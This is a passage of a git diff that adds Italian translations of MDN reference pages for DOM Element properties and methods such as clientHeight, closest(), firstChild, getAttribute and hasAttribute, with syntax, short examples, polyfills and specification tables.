+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/it/web/api/element/clientheight/index.html b/files/it/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..167dd00ca3
--- /dev/null
+++ b/files/it/web/api/element/clientheight/index.html
@@ -0,0 +1,36 @@
+---
+title: element.clientHeight
+slug: Web/API/Element/clientHeight
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce l'altezza interna di un elemento in pixel, incluso il padding, ed esclusi il bordo, il margine e l'altezza della barra di scorrimento orizzontale.</p>
+<p><code>clientHeight</code> può essere calcolato come CSS <code>height</code> + CSS <code>padding</code> - altezza della barra di scorrimento orizzontale(se presente).</p>
+<h3 id="Sintassi_e_valori" name="Sintassi_e_valori">Sintassi e valori</h3>
+<pre class="eval">var <var>altezza</var> = <var>elemento</var>.clientHeight;
+</pre>
+<p><var>altezza</var> è un numero intero che rappresenta l'altezza in pixel di <var>elemento</var>.</p>
+<p><code>clientHeight</code> è di sola lettura.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+  <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+  <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+  <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+  <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/" rel="freelink">http://www.best-cat-art.com/</a></p>
+  <p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+ </div>
+ <span style="position: absolute; left: -32px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Left</span><span style="position: absolute; left: 170px; top: -20px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Top</span><span style="position: absolute; left: 370px; top: 85px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Right</span><span style="position: absolute; left: 164px; top: 203px; color: blue; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">Bottom</span><span style="position: absolute; left: 143px; top: 5px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-top</span><span style="position: absolute; left: 138px; top: 175px; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">margin-bottom</span><span style="position: absolute; left: 143px; top: 27px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-top</span><span style="position: absolute; left: 138px; top: 153px; color: white; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif;">border-bottom</span></div>
+<p style="margin-top: 270px;"><img alt="Image:clientHeight.png"></p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non fa parte di nessuna specifica W3C.</p>
+<h3 id="Note" name="Note">Note</h3>
+<p><code>clientHeight</code> è una proprietà non standard, introdotta dal modello a oggetti di Internet Explorer.</p>
+<h3 id="Riferimenti" name="Riferimenti">Riferimenti</h3>
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clientheight.asp?frame=true">MSDN clientHeight definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN Measuring Element Dimension and Location</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/clientHeight.html">Gecko DOM Reference on clientHeight</a></li>
+</ul>
+<p>{{ languages( { "fr": "fr/DOM/element.clientHeight", "pl": "pl/DOM/element.clientHeight", "en": "en/DOM/element.clientHeight" } ) }}</p>
diff --git a/files/it/web/api/element/closest/index.html b/files/it/web/api/element/closest/index.html
new file mode 100644
index 0000000000..cded9f95bb
--- /dev/null
+++ b/files/it/web/api/element/closest/index.html
@@ -0,0 +1,147 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Reference
+translation_of: Web/API/Element/closest
+---
+<p>{{APIRef('Shadow DOM')}}</p>
+
+<div>Il metodo <code><strong>closest()</strong></code> dell'interfaccia {{domxref("Element")}} restituisce l'antenato più vicino dell'elemento corrente (o l'elemento corrente stesso) che corrisponde ai selettori dati in un parametro. Se nessun elemento di questo tipo esiste, restituisce <code>null</code>.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>closestElement =</em><em> element</em>.closest(<em>selectors</em>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>selectors</code> è una {{domxref("DOMString")}} contenente una lista di selettori come <code>"p:hover, .toto + q"</code></li>
+ <li><code>element</code> è l'{{domxref("Element")}} in cima all'albero degli elementi da trattare.</li>
+</ul>
+
+<h3 id="Valore_del_risultato">Valore del risultato</h3>
+
+<ul>
+ <li><code>closestElement</code> è l'{{domxref("Element")}} che è l'antenato più vicino degli elementi selezionati. Può essere <code>null</code>.</li>
+</ul>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<ul>
+ <li>{{exception("SyntaxError")}} viene ritornato se i <em>selectors</em> non sono una stringa di elenco di selettori valida.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div id="div-01"&gt;Here is div-01
+    &lt;div id="div-02"&gt;Here is div-02
+      &lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// returns the element with the id=div-02
+
+var r2 = el.closest("div div");
+// restituisce l'antenato più vicino che è un div in div, qui è div-03 stesso
+
+var r3 = el.closest("article &gt; div");
+// restituisce l'antenato più vicino che è un div e ha un articolo genitore, qui è div-01
+
+var r4 = el.closest(":not(div)");
+// restituisce l'antenato più vicino che non è un div, qui è l'articolo più esterno</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Per i browser che non supportano <code>Element.closest()</code>,  ma supportano il supporto per <code>element.matches()</code> (o un equivalente prefissato, ovvero IE9 +), esiste un polyfill:</p>
+
+<pre class="brush: js">if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+  Element.prototype.closest = function(s) {
+    var el = this;
+
+    do {
+      if (el.matches(s)) return el;
+      el = el.parentElement || el.parentNode;
+    } while (el !== null &amp;&amp; el.nodeType === 1);
+    return null;
+  };
+}</pre>
+
+<p>Tuttavia, se davvero si richiede il supporto per IE 8, il seguente polyfill farà il lavoro molto lentamente, ma alla fine. Tuttavia, supporta solo i selettori CSS 2.1 in IE 8 e può causare gravi ritardi nei siti Web di produzione.</p>
+
+<pre class="brush: js">if (window.Element &amp;&amp; !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {};
+    } while ((i &lt; 0) &amp;&amp; (el = el.parentElement));
+    return el;
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.closest")}}</p>
+
+<h3 id="Note_di_compatibilità">Note di compatibilità</h3>
+
+<ul>
+ <li>In Edge <code>document.createElement(element).closest(element)</code> restituirà <code>null</code> se l'elemento non è prima collegato al DOM</li>
+</ul>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>L'interfaccia {{domxref("Element")}}.</li>
+ <li>
+  <div class="syntaxbox"><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">La sintassi dei Selettori</a></div>
+ </li>
+ <li>
+  <div class="syntaxbox">Altri metodi che accettano i selettori: {{domxref("element.querySelector()")}} e {{domxref("element.matches()")}}.</div>
+ </li>
+</ul>
diff --git a/files/it/web/api/element/firstchild/index.html b/files/it/web/api/element/firstchild/index.html
new file mode 100644
index 0000000000..b5052f5dfe
--- /dev/null
+++ b/files/it/web/api/element/firstchild/index.html
@@ -0,0 +1,90 @@
+---
+title: Node.firstChild
+slug: Web/API/Element/firstChild
+tags:
+  - API
+  - DOM
+  - Node
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Node/firstChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà di sola lettura <code><strong>Node.firstChild</strong></code> restituisce il primo figlio del nodo nell'albero o <code>null</code> se il nodo non ha figli.</span> Se il nodo è un <code>Document</code>, restituisce il primo nodo nell'elenco dei suoi figli diretti.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>childNode</var> = <var>node</var>.firstChild;
+</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Questo esempio dimostra l'uso di <code>firstChild</code> e il modo in cui i nodi degli spazi bianchi potrebbero interferire con l'utilizzo di questa proprietà.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script&gt;
+  var p01 = document.getElementById('para-01');
+  console.log(p01.firstChild.nodeName);
+&lt;/script&gt;</pre>
+
+<p>In quanto sopra, la <a href="/en-US/docs/Web/API/Console">console</a> console mostrerà '#text' perché viene inserito un nodo di testo per mantenere lo spazio bianco tra la fine dei tag di apertura <code>&lt;p&gt;</code> e <code>&lt;span&gt;</code>. <strong>Qualsiasi</strong> <a href="/en-US/docs/Web/API/Document_Object_Model/Whitespace_in_the_DOM">spazio bianco</a> creerà un nodo <code>#text</code> da un singolo spazio a più spazi, ritorni, schede e così via.</p>
+
+<p>Un altro nodo <code>#text</code> viene inserito tra i tag di chiusura <code>&lt;/span&gt;</code> e <code>&lt;/p&gt;</code>.</p>
+
+<p>Se questo spazio viene rimosso dall'origine, i nodi #text non vengono inseriti e l'elemento span diventa il primo figlio del paragrafo.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;&lt;span&gt;First span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script&gt;
+  var p01 = document.getElementById('para-01');
+  console.log(p01.firstChild.nodeName);
+&lt;/script&gt;
+</pre>
+
+<p>Ora l'avviso mostrerà 'SPAN'.</p>
+
+<p>Per evitare il problema con <code>node.firstChild</code> che restituisce i nodi <code>#text</code> o <code>#comment</code>, {{domxref("ParentNode.firstElementChild")}} può essere utilizzato per restituire solo il primo nodo elemento. Tuttavia, <code>node.firstElementChild</code> richiede uno shim per Internet Explorer 9 e versioni precedenti.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commentp</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-firstchild', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-169727388', 'Node.firstChild')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.firstChild")}}</p>
diff --git a/files/it/web/api/element/getattribute/index.html b/files/it/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..e10427e5bd
--- /dev/null
+++ b/files/it/web/api/element/getattribute/index.html
@@ -0,0 +1,48 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+translation_of: Web/API/Element/getAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code>getAttribute()</code> restituisce il valore di un attributo specificato sull'elemento.</span> Se l'attributo specificato non esiste, il valore restituito sarà <code>null</code> o <code>""</code> (la stringa vuota); vedi {{Anch("Appunti")}} per maggiori dettagli.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>var attributo</em> = element.getAttribute(<em>attributeName</em>);
+</pre>
+
+<p>dove</p>
+
+<ul>
+ <li><code><em>attributo</em></code> è una stringa contenente il valore di <code><em>attributeName</em></code>.</li>
+ <li><code><em>attributeName</em></code> è il nome dell'attributo di cui si desidera ottenere il valore.</li>
+</ul>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush:js">let div1 = document.getElementById('div1');
+let align = div1.getAttribute('align');
+
+alert(align); // Mostra il valore di "align" per l'elemento con id="div1"</pre>
+
+<h2 id="Notes" name="Notes">Appunti</h2>
+
+<p>Quando viene chiamato su un elemento HTML in un DOM contrassegnato come un documento HTML, <code>getAttribute()</code> converte in minuscolo il suo argomento prima di procedere.</p>
+
+<p>Essenzialmente tutti i browser Web (Firefox, Internet Explorer, versioni recenti di Opera, Safari, Konqueror e iCab, come elenco non esaustivo) restituiscono <code>null</code> quando l'attributo specificato non è presente sull'elemento specificato e questo è quello che <a href="http://dom.spec.whatwg.org/#dom-element-getattribute" title="http://dom.spec.whatwg.org/#dom-element-getattribute">l'attuale bozza della specifica DOM</a> specifica. La vecchia specifica del DOM 3 Core, d'altra parte, dice che il valore di ritorno corretto in questo caso è in realtà la <em>stringa vuota</em>, e alcune implementazioni DOM implementano questo comportamento. L'implementazione di getAttribute in XUL (Gecko) segue effettivamente la specifica DOM 3 Core e restituisce una stringa vuota. Di conseguenza, dovresti usare {{domxref("element.hasAttribute()")}} per verificare l'esistenza di un attributo prima di chiamare <code>getAttribute()</code> se è possibile che l'attributo richiesto non esista sull'elemento specificato.</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Element.getAttribute")}}</p>
+</div>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (introdotto in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/it/web/api/element/getelementsbytagname/index.html b/files/it/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..9239135259
--- /dev/null
+++ b/files/it/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.getElementsByTagName()
+slug: Web/API/Element/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Referenza
+translation_of: Web/API/Element/getElementsByTagName
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p><span class="seoSummary">Il metodo <code><strong>Element.getElementsByTagName()</strong></code> ritorna una {{domxref("HTMLCollection")}} dinamica di elementi con il <a href="/it/docs/Web/API/Element/tagName">tag name</a> specificato.</span> Vengono cercati tutti i discendenti dell'elemento specificato, ma non l'elemento stesso. L'elenco restituito è <em>dinamico</em>, il che significa che si aggiorna automaticamente con l'albero del DOM. Pertanto, non è necessario chiamare <code>Element.getElementsByTagName()</code> con lo stesso elemento e gli stessi argomenti ripetutamente se il DOM cambia tra le chiamate.</p>
+
+<p>Quando viene chiamato su un elemento HTML in un documento HTML, <code>getElementsByTagName</code> converte in minuscolo l'argomento prima di cercarlo. Ciò non è desiderabile quando si cerca di abbinare elementi SVG camel-cased (come <code><a href="/en-US/docs/Web/SVG/Element/linearGradient">&lt;linearGradient&gt;</a></code>) in un documento HTML. Invece, usa {{ domxref("Element.getElementsByTagNameNS()") }}, che preserva la conversione in minuscolo del nome del tag.</p>
+
+<p><code>Element.getElementsByTagName</code> è simile a {{domxref("Document.getElementsByTagName()")}}, tranne per il fatto che cerca solo elementi discendenti dell'elemento specificato.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code> è una {{domxref("HTMLCollection")}} <em>dinamica</em> di elementi con un nome di tag corrispondente, nell'ordine in cui appaiono. Se non vengono trovati elementi, la <code>HTMLCollection</code> è vuota.</li>
+ <li><code>element</code> è l'elemento da cui inizia la ricerca. Sono inclusi solo i discendenti dell'elemento, non l'elemento stesso.</li>
+ <li><code>tagName</code> è il nome qualificato da cercare. La stringa speciale <code>"*"</code> rappresenta tutti gli elementi. Per compatibilità con XHTML, è necessario scriverlo in minuscolo.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">// Controlla lo stato di ogni cella in una tabella
+const table = document.getElementById('forecast-table');
+const cells = table.getElementsByTagName('td');
+
+for (let cell of cells) {
+  let status = cell.getAttribute('data-status');
+  if (status === 'open') {
+    // Prendi i dati
+  }
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Modificato il valore di ritorno da {{domxref("NodeList")}} a {{domxref("HTMLCollection")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.getElementsByTagName")}}</p>
diff --git a/files/it/web/api/element/hasattribute/index.html b/files/it/web/api/element/hasattribute/index.html
new file mode 100644
index 0000000000..4cd6d2a9d2
--- /dev/null
+++ b/files/it/web/api/element/hasattribute/index.html
@@ -0,0 +1,75 @@
+---
+title: Element.hasAttribute()
+slug: Web/API/Element/hasAttribute
+translation_of: Web/API/Element/hasAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Il metodo <strong><code>Element.hasAttribute()</code></strong> restituisce un valore <strong>booleano</strong> che indica se l'elemento specificato ha o meno l'attributo specificato.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var <em>risultato</em></var> = <em><var>element</var></em>.hasAttribute(<em><var>name</var></em>);
+</pre>
+
+<dl>
+ <dt><code>risultato</code></dt>
+ <dd>detiene il valore di ritorno <code>true</code> o <code>false</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>è una stringa che rappresenta il nome dell'attributo.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:js">var foo = document.getElementById("foo");
+if (foo.hasAttribute("bar")) {
+    // fare qualcosa
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush:js">;(function(prototype) {
+    prototype.hasAttribute = prototype.hasAttribute || function(name) {
+        return !!(this.attributes[name] &amp;&amp;
+                  this.attributes[name].specified);
+    }
+})(Element.prototype);
+</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-hasattribute', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Da {{SpecName('DOM3 Core')}}, spostato da {{domxref("Node")}} a {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-ElHasAttr', 'Element.hasAttribute()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.hasAttribute")}}</p>
diff --git a/files/it/web/api/element/hasattributes/index.html b/files/it/web/api/element/hasattributes/index.html
new file mode 100644
index 0000000000..ca408ca96d
--- /dev/null
+++ b/files/it/web/api/element/hasattributes/index.html
@@ -0,0 +1,28 @@
+---
+title: element.hasAttributes
+slug: Web/API/Element/hasAttributes
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Element/hasAttributes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce un valore booleano: <code>true</code> se l'elemento ha un qualunque numero di attributi, altrimenti <code>false</code>.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<p>
+ <i>
+  bool</i>
+ = element.hasAttributes()</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>t1 = document.getElementById("tabella-dati");
+if (t1.hasAttributes()) {
+    // fai qualcosa con
+    // t1.attributes
+}
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeHasAttrs">hasAttributes </a></p>
+<p>{{ languages( { "en": "en/DOM/element.hasAttributes", "fr": "fr/DOM/element.hasAttributes", "pl": "pl/DOM/element.hasAttributes" } ) }}</p>
diff --git a/files/it/web/api/element/index.html b/files/it/web/api/element/index.html
new file mode 100644
index 0000000000..f518252bc7
--- /dev/null
+++ b/files/it/web/api/element/index.html
@@ -0,0 +1,475 @@
+---
+title: Element
+slug: Web/API/Element
+tags:
+  - API
+  - DOM
+  - Element
+  - Interface
+  - Referenza
+  - Referenza del DOM
+  - Web API
+translation_of: Web/API/Element
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Element</code></strong> è la classe base più generale da cui ereditano tutti gli oggetti in un {{DOMxRef("Document")}}. Ha solo metodi e proprietà comuni a tutti i tipi di elementi. Classi più specifiche ereditano da <code>Element</code>.</span> Ad esempio, l'interfaccia {{DOMxRef("HTMLElement")}} è l'interfaccia di base per gli elementi HTML, mentre l'interfaccia {{DOMxRef("SVGElement")}} è la base per tutti gli elementi SVG. La maggior parte delle funzionalità è specificata più in basso nella gerarchia delle classi.</p>
+
+<p>Le lingue al di fuori del regno della piattaforma Web, come XUL attraverso l'interfaccia <code>XULElement</code>, implementano anche  <code>Element</code>.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties" name="Properties">Proprietà</h2>
+
+<p><em>Eredita le proprietà dalla sua interfaccia genitore, {{DOMxRef("Node")}}, e per estensione l'interfaccia genitore, {{DOMxRef("EventTarget")}}. Implementa le proprietà di {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, </em>e {{DOMxRef("Animatable")}}.</p>
+
+<dl>
+ <dt>{{DOMxRef("Element.attributes")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un oggetto {{DOMxRef("NamedNodeMap")}} contenente gli attributi assegnati dell'elemento HTML corrispondente.</dd>
+ <dt>{{DOMxRef("Element.classList")}} {{readOnlyInline}}</dt>
+ <dd>Ritorna un oggetto {{DOMxRef("DOMTokenList")}} contenente la lista delle classi dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.className")}}</dt>
+ <dd>È una {{DOMxRef("DOMString")}} che rappresenta la classe dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.clientHeight")}} {{readOnlyInline}}</dt>
+ <dd>Ritorna un {{jsxref("Number")}} che rappresenta l'altezza interna dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.clientLeft")}} {{readOnlyInline}}</dt>
+ <dd>Ritorna un {{jsxref("Number")}} che rappresenta la larghezza del bordo sinistro dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.clientTop")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un {{jsxref("Number")}} che rappresenta la larghezza del bordo superiore dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.clientWidth")}} {{readOnlyInline}}</dt>
+ <dd>Restituisce un {{jsxref("Number")}} che rappresenta la larghezza interna dell'elemento.</dd>
+ <dt>{{DOMxRef("Element.computedName")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{DOMxRef("DOMString")}} containing the label exposed to accessibility.</dd>
+ <dt>{{DOMxRef("Element.computedRole")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{DOMxRef("DOMString")}} containing the ARIA role that has been applied to a particular element. </dd>
+ <dt>{{DOMxRef("Element.id")}}</dt>
+ <dd>Is a {{DOMxRef("DOMString")}} representing the id of the element.</dd>
+ <dt>{{DOMxRef("Element.innerHTML")}}</dt>
+ <dd>Is a {{DOMxRef("DOMString")}} representing the markup of the element's content.</dd>
+ <dt>{{DOMxRef("Element.localName")}} {{readOnlyInline}}</dt>
+ <dd>A {{DOMxRef("DOMString")}} representing the local part of the qualified name of the element.</dd>
+ <dt>{{DOMxRef("Element.namespaceURI")}} {{readonlyInline}}</dt>
+ <dd>The namespace URI of the element, or <code>null</code> if it is no namespace.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2")}}</p>
+ </div>
+ </dd>
+ <dt>{{DOMxRef("NonDocumentTypeChildNode.nextElementSibling")}} {{readOnlyInline}}</dt>
+ <dd>Is an {{DOMxRef("Element")}}, the element immediately following the given one in the tree, or <code>null</code> if there's no sibling node.</dd>
+ <dt>{{DOMxRef("Element.outerHTML")}}</dt>
+ <dd>Is a {{DOMxRef("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.</dd>
+ <dt>{{DOMxRef("Element.prefix")}} {{readOnlyInline}}</dt>
+ <dd>A {{DOMxRef("DOMString")}} representing the namespace prefix of the element, or <code>null</code> if no prefix is specified.</dd>
+ <dt>{{DOMxRef("NonDocumentTypeChildNode.previousElementSibling")}} {{readOnlyInline}}</dt>
+ <dd>Is a {{DOMxRef("Element")}}, the element immediately preceding the given one in the tree, or <code>null</code> if there is no sibling element.</dd>
+ <dt>{{DOMxRef("Element.scrollHeight")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view height of an element.</dd>
+ <dt>{{DOMxRef("Element.scrollLeft")}}</dt>
+ <dd>Is a {{jsxref("Number")}} representing the left scroll offset of the element.</dd>
